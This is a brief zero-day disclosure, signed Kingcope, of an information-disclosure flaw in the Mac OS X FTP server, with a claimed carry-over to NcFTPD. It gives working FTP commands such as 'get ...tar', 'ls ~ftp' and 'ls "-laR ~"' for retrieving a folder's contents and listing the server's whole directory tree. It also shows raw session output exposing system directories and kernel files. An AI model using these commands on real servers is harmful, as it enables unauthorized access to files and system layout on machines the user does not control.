Mac OS X FTPd Disclosure

`MacOS X FTP Server 0day  
it was my finding, who carez  
  
ftp <target>  
get ...tar  
will retrieve all contents of underlying folder of user ftp. (hint:  
works with correct user account in latest NcFTPD too)  
  
ftp> ls ~ftp  
200 PORT command successful.  
150 Opening ASCII mode data connection for /us.  
/.hotfiles.btree  
/.rnd  
/.Trashes  
/.vol  
/Applications  
/automount  
/bin  
/cores  
/Desktop DB  
/Desktop DF  
/dev  
/Developer  
/etc  
/Groups  
/Library  
/mach  
/mach.sym  
/mach_kernel  
/Network  
/opt  
/private  
/sbin  
/  
/System  
/tmp  
226 Transfer complete.  
ftp: 236 bytes received in 0,06Seconds 3,81Kbytes/sec.  
  
ls ~ftp/etc/*/*  
  
ftp> ls "-la ~"  
227 Entering Passive Mode ()  
150 Opening ASCII mode data connection for directory listing.  
total 20011  
drwxrwxr-t 34 0 80 1258 Dec 30 17:55 .  
drwxrwxr-t 34 0 80 1258 Dec 30 17:55 ..  
-rw-r--r-- 1 0 80 6148 Jul 19 2004 .DS_Store  
d-wx-wx-wt 2 0 80 68 Jul 19 2004 .Trashes  
-rw------- 1 0 80 786432 Sep 5 2007 .hotfiles.btree  
-rw------- 1 0 80 1024 Nov 30 2006 .rnd  
dr-xr-xr-x 2 0 0 160 Dec 30 17:55 .vol  
drwxrwxr-x 35 0 80 1190 May 11 2009 Applications  
-rw-r--r-- 1 0 80 29184 Dec 23 2006 Desktop DB  
-rw-r--r-- 1 0 80 194178 Dec 23 2006 Desktop DF  
drwxrwxr-x 3 0 80 102 May 11 2009 Developer  
-rwxr-xr-x 3 501 80 1024 Jun 25 2007 DiskWarrior.dmg  
drwxrwxr-x 2 501 80 68 Jul 17 2010 Groups  
drwxrwxr-t 53 0 80 1802 Nov 30 2006 Library  
drwxr-xr-x 1 0 0 512 Feb 11 11:54 Network  
drwxrwxr-x 6 501 80 204 Nov 30 2006 Shared Items  
drwxr-xr-x 4 0 0 136 May 11 2009 System  
drwxrwxr-t 6 0 80 204 Nov 30 2006 Users  
drwxrwxrwt 6 0 80 204 Dec 30 17:55 Volumes  
drwxr-xr-x 4 0 80 136 Jun 8 2005 automount  
drwxr-xr-x 48 0 0 1632 May 11 2009 bin  
drwxr-xr-x 43 0 501 1462 Jun 28 2006 bru  
drwxrwxr-t 2 0 80 68 Dec 8 2003 cores  
dr-xr-xr-x 2 0 0 512 Dec 30 17:55 dev  
lrwxr-xr-x 1 0 4294967294 11 Nov 30 2006 etc -> private/etc  
lrwxr-xr-x 1 0 80 9 Dec 30 17:55 mach -> ???  
-r--r--r-- 1 0 80 624040 Dec 30 17:55 mach.sym  
-rw-r--r-- 1 0 0 8570484 Oct 10 2007 mach_kernel  
drwxr-xr-x 3 0 0 102 Nov 4 2005 opt  
drwxr-xr-x 6 0 0 204 Dec 30 17:55 private  
drwxr-xr-x 64 0 0 2176 May 11 2009 sbin  
lrwxr-xr-x 1 0 4294967294 11 Nov 30 2006 tmp -> private/tmp  
drwxr-xr-x 10 0 0 340 May 11 2009 usr  
lrwxr-xr-x 1 0 4294967294 11 Nov 30 2006 var -> private/var  
226 Transfer complete.  
ftp> ls "-la ~"  
  
ls "-laR ~" YOU NAME IT! WHOLE DIRTREE OF SERVER  
  
/Kingcope  
  
`